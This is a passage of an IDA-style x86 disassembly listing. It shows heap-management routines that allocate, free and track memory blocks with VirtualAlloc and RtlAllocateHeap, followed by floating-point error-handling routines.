mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_419649
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_419620
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419613
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_419613: ; CODE XREF: sub_4194C6+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_419645
; ---------------------------------------------------------------------------
loc_419620: ; CODE XREF: sub_4194C6+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419636
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_419636: ; CODE XREF: sub_4194C6+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_419645: ; CODE XREF: sub_4194C6+158j
shr edx, cl
or [eax], edx
loc_419649: ; CODE XREF: sub_4194C6+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41965E
; ---------------------------------------------------------------------------
loc_41965B: ; CODE XREF: sub_4194C6+E5j
mov edx, [ebp+arg_4]
loc_41965E: ; CODE XREF: sub_4194C6+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_4197B4
; ---------------------------------------------------------------------------
loc_41966D: ; CODE XREF: sub_4194C6+52j
; sub_4194C6+5Cj
xor eax, eax
jmp loc_4197B7
; ---------------------------------------------------------------------------
loc_419674: ; CODE XREF: sub_4194C6+49j
jge loc_4197B4
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41969F
push 3Fh
pop esi
loc_41969F: ; CODE XREF: sub_4194C6+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41972E
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_4196B8
push 3Fh
pop esi
loc_4196B8: ; CODE XREF: sub_4194C6+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_419707
cmp esi, 20h
jnb short loc_4196E3
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_419704
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_419704
; ---------------------------------------------------------------------------
loc_4196E3: ; CODE XREF: sub_4194C6+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_419704
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_419704: ; CODE XREF: sub_4194C6+214j
; sub_4194C6+21Bj ...
mov ebx, [ebp+arg_4]
loc_419707: ; CODE XREF: sub_4194C6+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41972E
push 3Fh
pop esi
loc_41972E: ; CODE XREF: sub_4194C6+1DDj
; sub_4194C6+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4197AB
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_419782
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_419775
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_419775: ; CODE XREF: sub_4194C6+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_4197A7
; ---------------------------------------------------------------------------
loc_419782: ; CODE XREF: sub_4194C6+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_419798
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_419798: ; CODE XREF: sub_4194C6+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_4197A7: ; CODE XREF: sub_4194C6+2BAj
shr edx, cl
or [eax], edx
loc_4197AB: ; CODE XREF: sub_4194C6+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_4197B4: ; CODE XREF: sub_4194C6+1A2j
; sub_4194C6:loc_419674j
push 1
pop eax
loc_4197B7: ; CODE XREF: sub_4194C6+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_4194C6 endp
; =============== S U B R O U T I N E =======================================
sub_4197BC proc near ; CODE XREF: sub_418C18+41p
; sub_419AB4:loc_419C83p
cmp dword_438620, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_4197D0
mov esi, offset off_438610
jmp short loc_4197ED
; ---------------------------------------------------------------------------
loc_4197D0: ; CODE XREF: sub_4197BC+Bj
push 2020h
push 0
push dword_46D164
call dword_42114C ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_4198F9
loc_4197ED: ; CODE XREF: sub_4197BC+12j
mov ebp, dword_421180
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_4198E2
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_4198D4
mov eax, offset off_438610
cmp esi, eax
jnz short loc_41984C
cmp off_438610, 0
jnz short loc_41983C
mov off_438610, eax
loc_41983C: ; CODE XREF: sub_4197BC+79j
cmp off_438614, 0
jnz short loc_419861
mov off_438614, eax
jmp short loc_419861
; ---------------------------------------------------------------------------
loc_41984C: ; CODE XREF: sub_4197BC+70j
mov [esi], eax
mov eax, off_438614
mov [esi+4], eax
mov off_438614, esi
mov eax, [esi+4]
mov [eax], esi
loc_419861: ; CODE XREF: sub_4197BC+87j
; sub_4197BC+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_419883: ; CODE XREF: sub_4197BC+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_419883
push ebx
push 0
push edi
call sub_415390
add esp, 0Ch
loc_4198AC: ; CODE XREF: sub_4197BC+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_4198D0
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_4198AC
; ---------------------------------------------------------------------------
loc_4198D0: ; CODE XREF: sub_4197BC+F7j
mov eax, esi
jmp short loc_4198FB
; ---------------------------------------------------------------------------
loc_4198D4: ; CODE XREF: sub_4197BC+63j
push 8000h
push 0
push edi
call dword_42117C ; VirtualFree
loc_4198E2: ; CODE XREF: sub_4197BC+4Bj
cmp esi, offset off_438610
jz short loc_4198F9
push esi
push 0
push dword_46D164
call dword_421150 ; RtlFreeHeap
loc_4198F9: ; CODE XREF: sub_4197BC+2Bj
; sub_4197BC+12Cj
xor eax, eax
loc_4198FB: ; CODE XREF: sub_4197BC+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4197BC endp
; =============== S U B R O U T I N E =======================================
sub_419900 proc near ; CODE XREF: sub_419956+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_42117C ; VirtualFree
cmp off_43A630, esi
jnz short loc_419925
mov eax, [esi+4]
mov off_43A630, eax
loc_419925: ; CODE XREF: sub_419900+1Bj
cmp esi, offset off_438610
jz short loc_41994D
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_46D164
call dword_421150 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41994D: ; CODE XREF: sub_419900+2Bj
or dword_438620, 0FFFFFFFFh
pop esi
retn
sub_419900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419956 proc near ; CODE XREF: sub_419A6F+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_438614
push edi
loc_419963: ; CODE XREF: sub_419956+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_419A01
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41997C: ; CODE XREF: sub_419956+72j
cmp dword ptr [edi], 0F0h
jnz short loc_4199BD
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_42117C ; VirtualFree
test eax, eax
jz short loc_4199BD
or dword ptr [edi], 0FFFFFFFFh
dec dword_46BB6C
mov eax, [esi+0Ch]
test eax, eax
jz short loc_4199B2
cmp eax, edi
jbe short loc_4199B5
loc_4199B2: ; CODE XREF: sub_419956+56j
mov [esi+0Ch], edi
loc_4199B5: ; CODE XREF: sub_419956+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_4199CA
loc_4199BD: ; CODE XREF: sub_419956+2Cj
; sub_419956+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41997C
loc_4199CA: ; CODE XREF: sub_419956+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_419A01
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_419A01
push 1
lea eax, [ecx+20h]
pop edx
loc_4199E1: ; CODE XREF: sub_419956+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_4199F2
inc edx
add eax, 8
cmp edx, 400h
jl short loc_4199E1
loc_4199F2: ; CODE XREF: sub_419956+8Ej
cmp edx, 400h
jnz short loc_419A01
push ecx
call sub_419900
pop ecx
loc_419A01: ; CODE XREF: sub_419956+11j
; sub_419956+7Dj ...
cmp esi, off_438614
jz short loc_419A13
cmp [ebp+arg_0], 0
jg loc_419963
loc_419A13: ; CODE XREF: sub_419956+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_419956 endp
; =============== S U B R O U T I N E =======================================
sub_419A18 proc near ; CODE XREF: sub_415C9B+3Ap
; sub_41737F+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_438610
push esi
mov ecx, edx
loc_419A24: ; CODE XREF: sub_419A18+1Cj
cmp eax, [ecx+10h]
jbe short loc_419A2E
cmp eax, [ecx+14h]
jb short loc_419A36
loc_419A2E: ; CODE XREF: sub_419A18+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_419A6B
jmp short loc_419A24
; ---------------------------------------------------------------------------
loc_419A36: ; CODE XREF: sub_419A18+14j
test al, 0Fh
jnz short loc_419A6B
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_419A6B
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_419A6B: ; CODE XREF: sub_419A18+1Aj
; sub_419A18+20j ...
xor eax, eax
pop esi
retn
sub_419A18 endp
; =============== S U B R O U T I N E =======================================
sub_419A6F proc near ; CODE XREF: sub_415C9B+4Dp
; sub_41737F+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_419AB3
inc dword_46BB6C
cmp dword_46BB6C, 20h
jnz short locret_419AB3
push 10h
call sub_419956
pop ecx
locret_419AB3: ; CODE XREF: sub_419A6F+2Bj
; sub_419A6F+3Aj
retn
sub_419A6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AB4 proc near ; CODE XREF: sub_415C27+4Ap
; sub_41737F+1ACp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43A630
push edi
loc_419AC2: ; CODE XREF: sub_419AB4+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_419B6D
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_419B27
loc_419AED: ; CODE XREF: sub_419AB4+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_419B10
cmp [edi+4], ebx
jbe short loc_419B10
push ebx
push ecx
push eax
call sub_419CBC
add esp, 0Ch
test eax, eax
jnz short loc_419B7F
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_419B10: ; CODE XREF: sub_419AB4+40j
; sub_419AB4+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_419AED
jmp short loc_419B2A
; ---------------------------------------------------------------------------
loc_419B27: ; CODE XREF: sub_419AB4+37j
mov ebx, [ebp+arg_0]
loc_419B2A: ; CODE XREF: sub_419AB4+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_419B70
loc_419B3D: ; CODE XREF: sub_419AB4+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_419B5C
cmp [edi+4], ebx
jbe short loc_419B5C
push ebx
push eax
push [ebp+var_4]
call sub_419CBC
add esp, 0Ch
test eax, eax
jnz short loc_419B7F
mov [edi+4], ebx
loc_419B5C: ; CODE XREF: sub_419AB4+8Dj
; sub_419AB4+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_419B3D
jmp short loc_419B70
; ---------------------------------------------------------------------------
loc_419B6D: ; CODE XREF: sub_419AB4+14j
mov ebx, [ebp+arg_0]
loc_419B70: ; CODE XREF: sub_419AB4+87j
; sub_419AB4+B7j
mov esi, [esi]
cmp esi, off_43A630
jz short loc_419B8F
jmp loc_419AC2
; ---------------------------------------------------------------------------
loc_419B7F: ; CODE XREF: sub_419AB4+54j
; sub_419AB4+A3j
mov off_43A630, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_419CB7
; ---------------------------------------------------------------------------
loc_419B8F: ; CODE XREF: sub_419AB4+C4j
mov eax, offset off_438610
mov edi, eax
loc_419B96: ; CODE XREF: sub_419AB4+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_419BA2
cmp dword ptr [edi+0Ch], 0
jnz short loc_419BAE
loc_419BA2: ; CODE XREF: sub_419AB4+E6j
mov edi, [edi]
cmp edi, eax
jz loc_419C83
jmp short loc_419B96
; ---------------------------------------------------------------------------
loc_419BAE: ; CODE XREF: sub_419AB4+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_419BDD
loc_419BCC: ; CODE XREF: sub_419AB4+127j
cmp [ebp+var_4], 10h
jge short loc_419BDD
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_419BCC
loc_419BDD: ; CODE XREF: sub_419AB4+116j
; sub_419AB4+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_421180 ; VirtualAlloc
cmp eax, esi
jnz loc_419CB5
push 0
push [ebp+var_8]
push esi
call sub_415390
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_419C44
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_419C1A: ; CODE XREF: sub_419AB4+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_419C1A
loc_419C44: ; CODE XREF: sub_419AB4+15Ej
mov off_43A630, edi
lea eax, [edi+2018h]
loc_419C50: ; CODE XREF: sub_419AB4+1A8j
cmp ecx, eax
jnb short loc_419C60
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_419C5E
add ecx, 8
jmp short loc_419C50
; ---------------------------------------------------------------------------
loc_419C5E: ; CODE XREF: sub_419AB4+1A3j
cmp ecx, eax
loc_419C60: ; CODE XREF: sub_419AB4+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_419CB7
; ---------------------------------------------------------------------------
loc_419C83: ; CODE XREF: sub_419AB4+F2j
call sub_4197BC
test eax, eax
jz short loc_419CB5
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43A630, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_419CB7
; ---------------------------------------------------------------------------
loc_419CB5: ; CODE XREF: sub_419AB4+143j
; sub_419AB4+1D6j
xor eax, eax
loc_419CB7: ; CODE XREF: sub_419AB4+D6j
; sub_419AB4+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_419AB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CBC proc near ; CODE XREF: sub_419AB4+4Ap
; sub_419AB4+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_419D01
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_419CF0
add [ecx], edx
sub [ecx+4], edx
jmp short loc_419CF9
; ---------------------------------------------------------------------------
loc_419CF0: ; CODE XREF: sub_419CBC+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_419CF9: ; CODE XREF: sub_419CBC+32j
lea eax, [edi+8]
jmp loc_419DCF
; ---------------------------------------------------------------------------
loc_419D01: ; CODE XREF: sub_419CBC+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_419D0A
mov eax, esi
loc_419D0A: ; CODE XREF: sub_419CBC+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_419D54
loc_419D11: ; CODE XREF: sub_419CBC+96j
mov bl, [eax]
test bl, bl
jnz short loc_419D47
push 1
lea ebx, [eax+1]
pop esi
loc_419D1D: ; CODE XREF: sub_419CBC+68j
cmp byte ptr [ebx], 0
jnz short loc_419D26
inc ebx
inc esi
jmp short loc_419D1D
; ---------------------------------------------------------------------------
loc_419D26: ; CODE XREF: sub_419CBC+64j
cmp esi, edx
jnb short loc_419D78
cmp eax, [ebp+var_4]
jnz short loc_419D34
mov [ecx+4], esi
jmp short loc_419D40
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419CBC+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_419DD9
loc_419D40: ; CODE XREF: sub_419CBC+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_419D4C
; ---------------------------------------------------------------------------
loc_419D47: ; CODE XREF: sub_419CBC+59j
movzx esi, bl
add eax, esi
loc_419D4C: ; CODE XREF: sub_419CBC+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_419D11
loc_419D54: ; CODE XREF: sub_419CBC+53j
lea esi, [ecx+8]
loc_419D57: ; CODE XREF: sub_419CBC+EBj
; sub_419CBC+F2j
cmp esi, edi
jnb short loc_419DD9
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_419DD9
mov al, [esi]
test al, al
jnz short loc_419DA9
push 1
lea ebx, [esi+1]
pop eax
loc_419D6F: ; CODE XREF: sub_419CBC+BAj
cmp byte ptr [ebx], 0
jnz short loc_419D99
inc ebx
inc eax
jmp short loc_419D6F
; ---------------------------------------------------------------------------
loc_419D78: ; CODE XREF: sub_419CBC+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_419D89
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_419D92
; ---------------------------------------------------------------------------
loc_419D89: ; CODE XREF: sub_419CBC+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_419D92: ; CODE XREF: sub_419CBC+CBj
mov [eax], dl
add eax, 8
jmp short loc_419DCF
; ---------------------------------------------------------------------------
loc_419D99: ; CODE XREF: sub_419CBC+B6j
cmp eax, edx
jnb short loc_419DB0
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_419DD9
mov esi, ebx
jmp short loc_419D57
; ---------------------------------------------------------------------------
loc_419DA9: ; CODE XREF: sub_419CBC+ABj
movzx eax, al
add esi, eax
jmp short loc_419D57
; ---------------------------------------------------------------------------
loc_419DB0: ; CODE XREF: sub_419CBC+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_419DC1
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_419DCA
; ---------------------------------------------------------------------------
loc_419DC1: ; CODE XREF: sub_419CBC+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_419DCA: ; CODE XREF: sub_419CBC+103j
mov [esi], dl
lea eax, [esi+8]
loc_419DCF: ; CODE XREF: sub_419CBC+40j
; sub_419CBC+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_419DDB
; ---------------------------------------------------------------------------
loc_419DD9: ; CODE XREF: sub_419CBC+7Ej
; sub_419CBC+9Dj ...
xor eax, eax
loc_419DDB: ; CODE XREF: sub_419CBC+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_419CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DE0 proc near ; CODE XREF: sub_41737F+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_419E1A
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_419E7A
; ---------------------------------------------------------------------------
loc_419E1A: ; CODE XREF: sub_419DE0+26j
jnb short loc_419E81
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_419E81
lea eax, [ecx+edx]
loc_419E2F: ; CODE XREF: sub_419DE0+59j
cmp eax, esi
jnb short loc_419E3D
cmp byte ptr [eax], 0
jnz short loc_419E3B
inc eax
jmp short loc_419E2F
; ---------------------------------------------------------------------------
loc_419E3B: ; CODE XREF: sub_419DE0+56j
cmp eax, esi
loc_419E3D: ; CODE XREF: sub_419DE0+51j
jnz short loc_419E81
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_419E75
cmp esi, eax
jbe short loc_419E75
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_419E6C
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_419E67
loc_419E60: ; CODE XREF: sub_419DE0+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_419E60
loc_419E67: ; CODE XREF: sub_419DE0+7Ej
mov [ebx+4], eax
jmp short loc_419E75
; ---------------------------------------------------------------------------
loc_419E6C: ; CODE XREF: sub_419DE0+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_419E75: ; CODE XREF: sub_419DE0+68j
; sub_419DE0+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_419E7A: ; CODE XREF: sub_419DE0+38j
mov [ebp+var_4], 1
loc_419E81: ; CODE XREF: sub_419DE0:loc_419E1Aj
; sub_419DE0+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_419DE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_419E89(int,int,double,int)
sub_419E89 proc near ; CODE XREF: sub_415D04+51p
; sub_415E4B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43AD88, 0
jnz short loc_419EBE
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_41A43E
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419EBE: ; CODE XREF: sub_419E89+Aj
push 0FFFFh
mov dword_46BB04, 21h
push [ebp+arg_C]
call sub_41A6B1
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_419E89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419EDC(int,int,double,double,int)
sub_419EDC proc near ; CODE XREF: sub_415D04:loc_415DC7p
; sub_415E4B:loc_415F0Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41A227
add esp, 0Ch
test eax, eax
jnz short loc_419F1A
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_419F74
add esp, 18h
loc_419F1A: ; CODE XREF: sub_419EDC+1Aj
push [ebp+arg_0]
call sub_41A511
cmp dword_43AD88, 0
pop ecx
jnz short loc_419F58
test eax, eax
jz short loc_419F58
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_41A43E
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_419F58: ; CODE XREF: sub_419EDC+4Ej
; sub_419EDC+52j
push eax
call sub_41A4C6
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_41A6B1
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_419EDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F74 proc near ; CODE XREF: sub_419EDC+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
